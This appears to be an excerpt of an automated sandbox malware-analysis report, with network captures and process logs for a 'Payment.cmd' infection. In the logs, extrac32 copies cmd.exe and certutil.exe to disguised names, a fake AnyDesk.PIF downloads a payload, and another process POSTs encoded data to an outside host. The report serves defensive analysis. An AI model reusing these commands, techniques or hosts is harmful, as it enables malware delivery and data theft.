                                                                                    3192.168.2.649850188.114.97.3804996C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Oct 16, 2024 10:58:27.082465887 CEST164OUTPOST /DS341/index.php HTTP/1.1
                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
                                                                                    Host: dsye.shop
                                                                                    Content-Length: 59331
                                                                                    Cache-Control: no-cache
                                                                                    Oct 16, 2024 10:58:27.082528114 CEST11124OUTData Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26
                                                                                    Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0d0e0f0f0m0cf;j;f'&fp3)0e&f&fVg64.b;4g0x4.a6
                                                                                    Oct 16, 2024 10:58:27.087439060 CEST1236OUTData Raw: 41 07 e6 4a 0d f8 42 19 e7 4c 17 fd 56 0f e7 55 1e ff 49 0c ff 41 0c f9 54 04 ec 57 04 e8 50 18 e8 40 18 e6 4b 1f e9 59 02 f4 42 1c ef 55 1d ec 5b 12 f7 49 06 e1 52 13 e5 4d 01 f4 53 03 e4 53 0d e6 55 11 fb 4b 0f ec 44 11 fb 52 13 fd 57 03 ef 4a
                                                                                    Data Ascii: AJBLVUIATWP@KYBU[IRMSSUKDRWJSS[@PFDZZHOV[SEY@Y[PWRZVVUDSALDDPL@YOG@DFMQPGHBWEMFLV
                                                                                    Oct 16, 2024 10:58:27.087585926 CEST2472OUTData Raw: 47 06 fd 42 1e e5 47 10 ed 52 14 f4 4a 02 f9 4b 1a e4 53 1c e3 4d 0c fb 4d 1b f4 53 11 ec 4d 10 ed 46 1b ec 54 13 ed 57 06 ea 5a 00 e3 51 16 f6 47 13 ed 4d 0c e8 55 01 e8 56 00 f9 51 12 ec 44 02 fb 44 0f fa 5a 16 fa 41 04 f8 4d 14 f8 50 1e f4 40
                                                                                    Data Ascii: GBGRJKSMMSMFTWZQGMUVQDDZAMP@L[RUZKISYL@VUZMGNFJRLDTWAVHTWZIFJFDENLQ@DPFG[EWFOBKYD
                                                                                    Oct 16, 2024 10:58:27.087663889 CEST2472OUTData Raw: 03 55 ae 03 55 ae 03 55 ae 22 74 11 d0 57 aa 03 55 ac 07 55 ae 21 55 ae 03 13 c7 6f 30 dd 5f 64 f2 4f 06 ec 4a 1d ff 45 11 f8 57 09 ff 4d 16 f7 40 11 e8 4a 1f e4 2d 2d c2 70 2d ff 4d 16 f7 40 11 e8 4a 1f e4 5b 0d e8 4c 17 ec 5b 00 f4 54 1a e8 56
                                                                                    Data Ascii: UUU"tWUU!Uo0_dOJEWM@J--p-M@J[L[TVPNJOKYOMGM[NIEF[Z@LLFNTDL@GUQOZQP[QYFGIZHB[TSQYRM[JQN
                                                                                    Oct 16, 2024 10:58:27.087690115 CEST2472OUTData Raw: 50 0c ff 40 06 f8 4c 07 f9 59 12 f8 4d 0d e6 40 16 f8 57 03 f6 56 06 fa 57 1b ff 44 1c ec 55 03 eb 42 06 e5 4b 13 ff 49 19 f7 54 1d e0 44 18 ea 45 17 fe 44 17 e7 55 03 fd 44 14 fc 42 12 f8 4b 10 ff 40 07 e6 45 18 ff 5b 1c e4 51 1b e3 5a 17 e0 4e
                                                                                    Data Ascii: P@LYM@WVWDUBKITDEDUDBK@E[QZN@QVVYIFWJNERWKEZGZSYBO@SZQWLAQUJWH@VOGDEPYOGTSUGFQD[Y
                                                                                    Oct 16, 2024 10:58:27.087707996 CEST2472OUTData Raw: 41 17 e5 4a 00 e7 46 1f e3 47 19 fe 4f 1e f6 41 0f ef 40 18 ed 55 17 e1 5b 05 e7 56 06 f9 50 14 f7 44 19 e4 5a 05 eb 51 13 eb 50 03 e4 47 13 ea 56 16 fc 51 18 ed 46 07 f7 45 14 e1 4b 00 e5 46 02 ec 51 1d e7 5b 03 ef 4f 1c e1 41 06 fb 59 1c f8 48
                                                                                    Data Ascii: AJFGOA@U[VPDZQPGVQFEKFQ[OAYHZZRRNNITJKDPEWU[GYGEUPDQ[JOHZZSSIVHBE[KDFU@TV[KQNOWIF
                                                                                    Oct 16, 2024 10:58:27.087743998 CEST2472OUTData Raw: 41 10 e1 41 05 fd 53 19 ef 54 1b fb 54 16 e2 5b 01 e9 4b 1c fc 44 19 f4 59 01 fa 49 19 f6 4a 0c e3 40 04 f9 41 0c f6 4a 13 e2 55 05 e9 4a 02 f4 46 05 e1 52 04 e2 52 16 ed 59 04 fa 4a 01 e5 42 18 ff 4e 0c eb 4e 1b fc 4b 03 ea 54 0d e8 4f 18 fc 47
                                                                                    Data Ascii: AASTT[KDYIJ@AJUJFRRYJBNNKTOGGHZKDJGSYNHVOILTALUIROMIURWSSRAMF_HVUUU?UQCUj9p_ARUs1OJ
                                                                                    Oct 16, 2024 10:58:27.087762117 CEST2472OUTData Raw: 40 14 fe 40 06 e6 45 00 fe 47 1f ed 46 14 ef 4d 1b f7 4c 13 ea 56 1d e2 4f 19 e6 4c 03 e8 4d 1e e0 57 07 f8 54 0f eb 45 1c fb 41 0d fc 5b 1c e3 51 02 f6 47 05 f9 55 01 e8 48 04 e3 44 0c e0 51 14 ec 4e 01 ef 4d 07 e9 44 06 e2 44 10 e7 4c 14 fb 41
                                                                                    Data Ascii: @@EGFMLVOLMWTEA[QGUHDQNMDDLAR@NTJNOO[UO[AYOIK@H[LMZQADWKORDHMYMQ[LE[GYZTTE@P@BYKM
                                                                                    Oct 16, 2024 10:58:27.087801933 CEST2472OUTData Raw: 55 1e ff 4d 12 fe 53 0c f7 47 1d ff 57 11 e0 45 18 e5 5a 1f ec 54 04 fc 57 1d e7 40 1f fc 54 06 fa 57 07 eb 4c 1a ec 4e 0c e9 41 00 ed 4b 13 ea 5a 18 e9 4b 03 e2 41 11 e5 4b 0c f9 4f 0c e9 57 10 ea 57 1d e1 50 1c e1 50 0d e2 54 12 eb 50 17 e5 55
                                                                                    Data Ascii: UMSGWEZTW@TWLNAKZKAKOWWPPTPUGKOAIRDIQPDDUWPQR[GAYUJDMNRGMD[SSPSNTGNFYT[[H[KEOQEOU
                                                                                    Oct 16, 2024 10:58:27.087857962 CEST2472OUTData Raw: 45 19 ea 4b 0d fe 56 1c fc 48 14 fc 45 1b f9 4a 03 e4 40 07 e6 47 05 ea 55 02 e4 4e 03 e7 4e 1c f7 46 03 ea 46 1c f7 59 0d ea 4e 0f e8 42 1e fd 50 01 f7 40 14 f6 5b 1c f9 5b 1e e8 4f 01 e0 52 19 fd 5b 0d f4 4e 05 e7 52 0f f7 47 06 e6 55 14 fd 54
                                                                                    Data Ascii: EKVHEJ@GUNNFFYNBP@[[OR[NRGUTV[[BLRZYVZDBFSBGDOASQYA[GHLNBJKGHEZMMDBO[PNVISGHURPMR
                                                                                    Oct 16, 2024 10:58:30.888230085 CEST610INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:30 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bOuszykZhbnW3gZkAnDeY%2Be5uQ%2FLLp9G8PR5AWVISjf6MB%2FFLvmECyyIiXpxuapA4M4wceqz6CWF7IXAbrfgzIE5HS7dqK4xnjV0005bD1OdW9YmnmlpKYA04ks%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d8e2ac0fe58d-DFW
                                                                                    alt-svc: h3=":443"; ma=86400


                                                                                    HTTPS Proxied Packets

                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    0192.168.2.649712170.10.161.454435848C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    TimestampBytes transferredDirectionData
                                                                                    2024-10-16 08:57:58 UTC181OUTGET /yakmdrpfile/233_Xdptuvhugpw HTTP/1.1
                                                                                    Connection: Keep-Alive
                                                                                    Accept: */*
                                                                                    User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                    Host: eaznetagencies.co.ke
                                                                                    2024-10-16 08:57:58 UTC364INHTTP/1.1 200 OK
                                                                                    Connection: close
                                                                                    last-modified: Tue, 15 Oct 2024 16:21:18 GMT
                                                                                    accept-ranges: bytes
                                                                                    content-length: 559548
                                                                                    date: Wed, 16 Oct 2024 08:57:58 GMT
                                                                                    server: LiteSpeed
                                                                                    alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                    2024-10-16 08:57:58 UTC16384INData Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 6d 47 52 6f 66 46 52 6f 52 46 43 59 58 48 41 38 64 45 52 45 59 45 79 59 51 4a 43 63 5a 45 52 55 56 45 68 67 6c 47 53 55 66 45 68 49 51 4a 42 73 58 4a 42 4d 62 46 78 34 6a 45 79 55 6e 49 78 55 56 4a 69 4d 66 4a 43 45 51 4a 42 49 50 4a 78 59 6d 46 42 4d 5a 4a 68 6f 55 4a 78 55 66 48 42 51 6c 45 69 63 52 44 78 59 61 49 78 4d 6e 44 69 51 69 46 42 6f 65 4a 69 4d 6e 45 36 61 75 70 56 6b 6a 70 37 46 4c 42 52 45 64 49 53 49 6a 46 53 49 55 48 53 53 6d 72 71 56 5a 49 36 65 78 53 39 58 49 79 63 37 45 79 63 44 44 31 63 62 4c 76 73 7a 41 77 4d 66 43 31 62 2f 54 31 73 6a 41 78 4d 54 42 78 39 54 49 31 4d 37 42 77 62 2f 54 79 73 62 54 77 73 72 47 7a 64 4c 43 31 4e 62 53 78 4d 54 56 30 73 37 54 30 4c 2f 54 77 62 37 57 78 64 58 44 77 73 6a
                                                                                    Data Ascii: pq6lWSOnsUsmGRofFRoRFCYXHA8dEREYEyYQJCcZERUVEhglGSUfEhIQJBsXJBMbFx4jEyUnIxUVJiMfJCEQJBIPJxYmFBMZJhoUJxUfHBQlEicRDxYaIxMnDiQiFBoeJiMnE6aupVkjp7FLBREdISIjFSIUHSSmrqVZI6exS9XIyc7EycDD1cbLvszAwMfC1b/T1sjAxMTBx9TI1M7Bwb/TysbTwsrGzdLC1NbSxMTV0s7T0L/Twb7WxdXDwsj
                                                                                    2024-10-16 08:57:58 UTC16384INData Raw: 32 73 44 4a 6e 39 44 41 4a 57 79 42 56 63 51 39 54 6d 66 6a 6f 4d 44 4d 78 35 4a 56 41 4d 58 4a 64 30 48 61 69 43 39 59 78 4b 7a 56 30 70 66 44 4a 51 50 4d 76 31 51 5a 7a 63 55 59 41 4d 66 61 78 4a 73 45 41 4e 48 46 54 71 48 5a 31 73 43 2b 78 6f 50 4e 76 64 75 56 56 55 75 48 37 39 4c 56 45 77 61 4b 4f 34 44 76 30 64 7a 76 77 5a 44 72 46 38 54 41 41 65 58 59 78 38 4c 56 74 35 6e 47 44 66 37 72 79 38 45 6f 6b 62 77 47 30 62 36 38 6b 35 62 46 79 63 77 6b 58 73 37 53 7a 62 2b 49 55 6b 37 72 79 39 55 54 6d 39 63 43 77 4d 79 38 6a 70 50 4b 32 72 31 37 57 37 33 47 76 4e 75 55 57 67 66 63 32 38 45 58 68 63 70 54 78 73 32 2f 6b 6f 6a 4d 7a 72 31 75 61 62 33 4e 32 62 2b 52 2f 67 58 78 79 38 6b 68 68 74 46 57 31 2f 6a 54 77 43 47 43 78 67 58 41 7a 66 35 36 32 4c 59
                                                                                    Data Ascii: 2sDJn9DAJWyBVcQ9TmfjoMDMx5JVAMXJd0HaiC9YxKzV0pfDJQPMv1QZzcUYAMfaxJsEANHFTqHZ1sC+xoPNvduVVUuH79LVEwaKO4Dv0dzvwZDrF8TAAeXYx8LVt5nGDf7ry8EokbwG0b68k5bFycwkXs7Szb+IUk7ry9UTm9cCwMy8jpPK2r17W73GvNuUWgfc28EXhcpTxs2/kojMzr1uab3N2b+R/gXxy8khhtFW1/jTwCGCxgXAzf562LY
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 6c 4e 4f 69 32 37 39 33 32 4e 61 6b 78 73 78 76 72 4e 58 4d 7a 72 36 56 56 30 33 4e 32 4c 2b 73 30 4d 6b 50 4d 30 4f 49 76 4e 72 4c 6c 31 70 51 6f 62 2f 4a 62 78 48 58 7a 4e 6e 46 6b 41 49 41 76 73 6e 5a 48 62 7a 4f 49 6a 41 6c 6d 38 58 4a 7a 70 4a 4f 44 4e 56 59 76 64 70 33 7a 63 79 6c 32 73 78 73 37 38 69 2f 46 44 43 36 50 71 54 61 76 57 38 73 76 63 61 38 32 34 42 61 41 62 7a 61 76 45 48 59 76 69 59 34 72 6f 72 5a 77 73 36 56 56 51 56 31 54 63 33 59 59 50 6e 51 71 4e 48 4b 61 7a 76 62 31 53 63 36 75 6b 53 68 76 38 6c 76 56 74 66 4d 32 63 57 49 41 67 43 2b 79 64 6b 4b 76 4d 34 69 4c 56 2b 62 78 63 6e 4f 69 6b 34 4d 72 56 6f 32 2b 39 6c 47 78 43 56 4a 61 45 59 30 6b 4e 33 58 46 67 6a 4b 51 6b 75 2f 51 77 4c 61 78 72 36 4f 55 46 62 45 76 4e 6d 46 42 41 72
                                                                                    Data Ascii: lNOi27932NakxsxvrNXMzr6VV03N2L+s0MkPM0OIvNrLl1pQob/JbxHXzNnFkAIAvsnZHbzOIjAlm8XJzpJODNVYvdp3zcyl2sxs78i/FDC6PqTavW8svca824BaAbzavEHYviY4rorZws6VVQV1Tc3YYPnQqNHKazvb1Sc6ukShv8lvVtfM2cWIAgC+ydkKvM4iLV+bxcnOik4MrVo2+9lGxCVJaEY0kN3XFgjKQku/QwLaxr6OUFbEvNmFBAr
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 32 77 35 39 32 62 2f 54 79 6b 71 62 76 63 58 49 47 77 67 41 31 44 7a 4e 79 39 58 34 79 6a 51 35 7a 38 44 4e 4b 77 52 4d 79 74 72 44 65 64 44 5a 50 67 6e 5a 79 39 41 68 42 31 69 67 32 62 2f 41 4a 2f 31 59 76 64 6e 6f 54 73 6d 38 78 74 4d 58 43 46 71 39 32 73 59 6e 57 67 44 47 76 78 6a 55 7a 73 75 2b 7a 43 75 49 79 4c 33 62 49 51 64 61 71 62 2f 4c 79 68 63 44 54 73 66 62 4b 36 6e 5a 76 39 50 4b 53 5a 75 39 78 63 67 72 43 41 44 55 50 4d 33 4c 31 55 37 4b 4e 44 6e 50 77 4d 30 62 42 45 7a 4b 32 73 4c 6b 30 4e 6b 2b 43 64 6e 4c 30 42 45 48 57 4b 44 5a 76 38 41 2f 2f 56 69 39 32 65 6a 4c 79 62 7a 47 30 79 38 49 57 72 33 61 78 71 68 61 41 4d 61 2f 47 44 72 4f 79 37 37 4d 4b 6f 6a 49 76 64 75 65 42 31 71 70 76 38 76 4b 52 77 4e 4f 78 39 73 72 39 4e 6d 2f 30 38 6f
                                                                                    Data Ascii: 2w592b/TykqbvcXIGwgA1DzNy9X4yjQ5z8DNKwRMytrDedDZPgnZy9AhB1ig2b/AJ/1YvdnoTsm8xtMXCFq92sYnWgDGvxjUzsu+zCuIyL3bIQdaqb/LyhcDTsfbK6nZv9PKSZu9xcgrCADUPM3L1U7KNDnPwM0bBEzK2sLk0Nk+CdnL0BEHWKDZv8A//Vi92ejLybzG0y8IWr3axqhaAMa/GDrOy77MKojIvdueB1qpv8vKRwNOx9sr9Nm/08o
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 57 73 4c 4d 45 67 2f 52 72 4e 72 4e 2b 58 61 39 5a 41 35 55 70 63 61 2f 33 47 6a 4f 59 78 74 57 76 7a 72 49 76 55 69 49 79 32 34 39 2f 6e 67 52 43 38 6a 62 36 4a 62 47 77 63 47 2f 30 49 42 36 4b 41 44 4f 38 4e 4c 53 49 36 6f 75 53 6d 7a 79 32 73 33 52 4d 77 66 58 30 79 4b 77 46 6e 31 64 52 41 44 48 32 6a 54 55 76 73 67 72 41 56 38 78 2f 64 6d 2f 33 74 66 52 30 73 4c 57 76 70 6e 46 47 41 58 4e 46 70 7a 31 4f 6d 58 75 78 74 48 4c 4c 4c 66 62 5a 52 4d 48 61 75 71 2f 76 38 67 31 5a 39 64 33 4c 77 61 2f 79 79 59 5a 7a 37 51 43 51 50 47 2b 4d 37 38 55 74 31 56 4a 51 34 72 6b 30 73 33 63 56 4c 37 4b 45 51 71 31 57 6b 72 73 7a 7a 6e 54 49 72 43 32 2f 44 4b 44 34 4d 66 61 48 71 69 2b 79 43 73 48 76 79 45 4a 7a 6b 55 49 50 44 30 31 6f 4d 2f 37 57 39 45 33 79 55 58
                                                                                    Data Ascii: WsLMEg/RrNrN+Xa9ZA5Upca/3GjOYxtWvzrIvUiIy249/ngRC8jb6JbGwcG/0IB6KADO8NLSI6ouSmzy2s3RMwfX0yKwFn1dRADH2jTUvsgrAV8x/dm/3tfR0sLWvpnFGAXNFpz1OmXuxtHLLLfbZRMHauq/v8g1Z9d3Lwa/yyYZz7QCQPG+M78Ut1VJQ4rk0s3cVL7KEQq1WkrszznTIrC2/DKD4MfaHqi+yCsHvyEJzkUIPD01oM/7W9E3yUX
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 7a 49 44 43 31 4e 62 53 78 43 56 64 2b 61 74 6b 70 62 2f 54 77 62 34 58 62 66 4b 32 64 63 6a 56 79 63 50 57 4a 57 62 34 74 6d 50 42 31 73 43 2b 78 53 70 71 6f 71 4e 36 73 31 63 31 35 74 49 2f 30 68 70 65 43 6a 41 2b 6a 75 62 56 44 45 53 57 78 38 73 66 5a 4a 7a 63 46 59 4a 4e 66 43 7a 4f 30 37 2f 4c 50 78 6e 4f 6c 38 67 63 63 69 63 33 72 31 6b 75 4f 7a 68 49 69 75 54 4e 45 33 71 34 6f 38 32 6b 2f 6a 2f 74 30 55 58 51 49 57 2f 68 4e 69 2b 46 39 38 38 4b 50 56 53 4b 50 4d 4d 41 4d 55 50 54 76 37 37 5a 51 2f 44 4d 69 73 32 39 4c 74 72 4c 7a 52 67 46 7a 52 74 75 6f 7a 71 6c 41 76 77 7a 50 55 47 41 34 64 72 4a 52 54 62 45 77 4d 44 48 77 59 39 35 56 39 72 75 76 36 7a 77 76 72 50 67 78 39 76 52 53 63 44 58 30 38 72 47 74 59 76 47 45 30 2f 45 51 31 6a 57 30 72 34
                                                                                    Data Ascii: zIDC1NbSxCVd+atkpb/Twb4XbfK2dcjVycPWJWb4tmPB1sC+xSpqoqN6s1c15tI/0hpeCjA+jubVDESWx8sfZJzcFYJNfCzO07/LPxnOl8gccic3r1kuOzhIiuTNE3q4o82k/j/t0UXQIW/hNi+F988KPVSKPMMAMUPTv77ZQ/DMis29LtrLzRgFzRtuozqlAvwzPUGA4drJRTbEwMDHwY95V9ruv6zwvrPgx9vRScDX08rGtYvGE0/EQ1jW0r4
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 41 53 7a 47 32 41 37 2b 76 4e 6f 4b 72 4e 61 4d 46 66 37 49 76 55 78 58 79 39 62 49 77 4d 5a 2b 69 52 52 59 79 42 79 43 6a 44 65 76 57 53 34 37 4f 45 69 4b 35 46 33 4e 77 6b 37 57 45 34 45 4a 42 62 50 47 4b 46 72 41 7a 4c 2b 43 55 72 72 56 77 38 50 4c 47 6e 6d 38 31 67 44 4f 57 34 57 6b 54 37 66 59 47 2f 2b 6f 77 68 64 4d 53 62 4c 46 47 41 58 4e 50 64 49 38 77 6a 33 49 4d 62 34 52 78 72 2b 38 43 47 54 54 65 46 62 55 52 66 32 39 32 73 43 64 55 72 63 50 4a 36 77 57 2f 64 76 48 54 6c 44 5a 75 52 78 58 68 6a 39 58 76 63 58 4b 77 38 70 79 49 55 78 65 51 51 44 4e 48 31 53 79 6a 42 78 4e 6f 49 59 6a 2f 39 71 38 43 76 75 39 55 71 64 4d 79 44 63 42 69 79 48 39 39 2f 56 2b 41 58 6e 4e 77 6b 79 39 46 4a 54 50 56 36 78 78 4a 31 72 43 50 61 6c 74 4b 77 72 4a 4f 73 4d
                                                                                    Data Ascii: ASzG2A7+vNoKrNaMFf7IvUxXy9bIwMZ+iRRYyByCjDevWS47OEiK5F3Nwk7WE4EJBbPGKFrAzL+CUrrVw8PLGnm81gDOW4WkT7fYG/+owhdMSbLFGAXNPdI8wj3IMb4Rxr+8CGTTeFbURf292sCdUrcPJ6wW/dvHTlDZuRxXhj9XvcXKw8pyIUxeQQDNH1SyjBxNoIYj/9q8Cvu9UqdMyDcBiyH99/V+AXnNwky9FJTPV6xxJ1rCPaltKwrJOsM
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 30 44 50 54 4f 5a 2b 2b 45 6c 66 4a 46 77 4a 42 79 53 53 47 59 4b 73 42 4d 39 49 57 54 73 41 66 6c 58 6d 6e 43 74 6f 61 57 5a 48 68 61 57 6b 6e 76 6b 78 44 31 53 67 46 6a 55 6e 4d 44 44 37 61 45 77 4c 52 78 37 2b 2f 6c 43 65 38 66 4d 7a 5a 65 53 2f 4d 70 63 55 55 54 73 67 63 34 77 34 33 72 31 6b 75 4f 7a 68 49 69 75 54 53 4a 77 73 63 6c 72 6e 46 31 4f 73 69 70 4d 6a 51 77 43 68 33 75 4f 43 46 54 33 4f 39 79 45 33 4a 4a 4a 4d 34 41 4d 73 33 74 63 55 6a 44 4a 2f 56 44 6b 37 6b 34 37 33 4d 33 78 53 70 55 7a 2f 74 32 54 62 56 4b 50 52 62 4c 44 36 41 34 64 6f 54 42 43 4b 4d 71 38 47 2f 45 6d 58 41 30 30 7a 49 49 59 47 55 54 36 62 4e 44 56 6a 4d 4f 62 4d 7a 30 7a 44 47 52 38 49 77 78 6b 58 53 4f 4e 51 38 30 69 36 6c 30 53 64 53 2b 4f 61 2f 48 35 42 38 7a 52 58
                                                                                    Data Ascii: 0DPTOZ++ElfJFwJBySSGYKsBM9IWTsAflXmnCtoaWZHhaWknvkxD1SgFjUnMDD7aEwLRx7+/lCe8fMzZeS/MpcUUTsgc4w43r1kuOzhIiuTSJwsclrnF1OsipMjQwCh3uOCFT3O9yE3JJJM4AMs3tcUjDJ/VDk7k473M3xSpUz/t2TbVKPRbLD6A4doTBCKMq8G/EmXA00zIIYGUT6bNDVjMObMz0zDGR8IwxkXSONQ80i6l0SdS+Oa/H5B8zRX
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 76 33 54 75 32 6e 4b 50 30 78 65 4c 5a 4c 46 7a 4e 57 43 45 79 42 57 4d 75 62 52 34 51 31 32 57 30 79 4f 4b 48 71 68 6c 4e 4e 76 5a 62 65 50 4d 32 73 31 77 53 4d 69 36 35 6f 45 4c 32 63 70 37 49 39 72 49 47 77 34 35 31 69 57 4f 79 37 5a 6a 77 39 59 68 66 69 47 73 5a 4d 49 61 72 5a 50 52 4a 49 6d 35 6f 47 58 57 48 71 57 41 79 51 2b 45 75 62 56 30 31 38 5a 62 6a 71 43 31 64 73 66 43 31 58 6f 68 71 63 6e 41 4a 58 47 56 36 79 67 4a 6c 79 2f 4a 32 73 44 4d 61 54 50 4b 67 63 6f 71 4a 36 4d 36 70 45 35 47 50 54 30 74 6b 75 7a 4d 7a 33 49 56 32 63 48 5a 58 73 44 62 77 69 6d 57 65 59 76 5a 79 33 58 55 32 39 51 69 6c 4c 53 47 79 73 5a 35 79 37 36 39 46 4a 45 6c 67 64 2f 6a 30 68 64 33 67 61 33 47 72 76 37 38 33 37 77 2f 78 69 55 57 70 6a 68 46 68 2b 44 4a 42 54 53
                                                                                    Data Ascii: v3Tu2nKP0xeLZLFzNWCEyBWMubR4Q12W0yOKHqhlNNvZbePM2s1wSMi65oEL2cp7I9rIGw451iWOy7Zjw9YhfiGsZMIarZPRJIm5oGXWHqWAyQ+EubV018ZbjqC1dsfC1XohqcnAJXGV6ygJly/J2sDMaTPKgcoqJ6M6pE5GPT0tkuzMz3IV2cHZXsDbwimWeYvZy3XU29QilLSGysZ5y769FJElgd/j0hd3ga3Grv7837w/xiUWpjhFh+DJBTS
                                                                                    2024-10-16 08:57:59 UTC16384INData Raw: 51 45 4d 78 78 42 49 48 67 44 63 39 4e 54 32 79 63 52 76 68 74 6b 75 38 34 4b 56 31 78 74 4c 54 56 37 36 42 54 63 6e 36 4f 67 72 47 76 37 30 4a 7a 6e 76 6b 47 36 54 2b 72 66 61 58 4a 70 38 78 79 37 67 2f 41 4c 54 30 47 4d 74 68 56 4c 36 2b 77 55 62 53 63 46 64 6b 34 47 4e 56 38 66 66 4a 55 74 50 33 4f 45 33 4e 30 64 69 43 31 36 63 56 42 4b 4c 50 4a 32 51 4b 79 65 59 54 2f 36 66 50 30 63 54 49 59 64 6c 6a 44 47 6e 47 73 54 58 6f 63 41 66 53 34 68 6b 46 75 65 75 65 7a 68 4a 67 34 6d 39 55 79 75 50 49 43 61 45 61 74 38 51 67 63 65 6f 69 72 6c 64 76 56 36 6f 72 77 33 45 41 75 54 70 4f 79 4e 54 4f 46 41 61 77 65 41 42 65 56 37 33 46 79 41 7a 4b 64 45 37 57 34 62 42 79 78 56 6a 55 56 39 52 37 49 55 5a 46 4d 45 43 57 50 6a 78 48 59 67 4f 39 35 42 68 32 79 4d 76
                                                                                    Data Ascii: QEMxxBIHgDc9NT2ycRvhtku84KV1xtLTV76BTcn6OgrGv70JznvkG6T+rfaXJp8xy7g/ALT0GMthVL6+wUbScFdk4GNV8ffJUtP3OE3N0diC16cVBKLPJ2QKyeYT/6fP0cTIYdljDGnGsTXocAfS4hkFueuezhJg4m9UyuPICaEat8QgceoirldvV6orw3EAuTpOyNTOFAaweABeV73FyAzKdE7W4bByxVjUV9R7IUZFMECWPjxHYgO95Bh2yMv


                                                                                    Statistics

                                                                                    CPU Usage

                                                                                    Click to jump to process

                                                                                    Memory Usage

                                                                                    Click to jump to process

                                                                                    High Level Behavior Distribution

                                                                                    Click to dive into process behavior distribution

                                                                                    Behavior

                                                                                    Click to jump to process

                                                                                    System Behavior

                                                                                    General

                                                                                    Target ID:0
                                                                                    Start time:04:57:51
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Payment.cmd" "
                                                                                    Imagebase:0x7ff635730000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:1
                                                                                    Start time:04:57:51
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:862'208 bytes
                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:3
                                                                                    Start time:04:57:51
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\extrac32.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                                                                                    Imagebase:0x7ff6df150000
                                                                                    File size:35'328 bytes
                                                                                    MD5 hash:41330D97BF17D07CD4308264F3032547
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:moderate
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:4
                                                                                    Start time:04:57:52
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Users\Public\alpha.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                    Imagebase:0x7ff78cf40000
                                                                                    File size:289'792 bytes
                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Antivirus matches:
                                                                                    • Detection: 0%, ReversingLabs
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:5
                                                                                    Start time:04:57:52
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\extrac32.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                    Imagebase:0x7ff6df150000
                                                                                    File size:35'328 bytes
                                                                                    MD5 hash:41330D97BF17D07CD4308264F3032547
                                                                                    Has elevated privileges:true
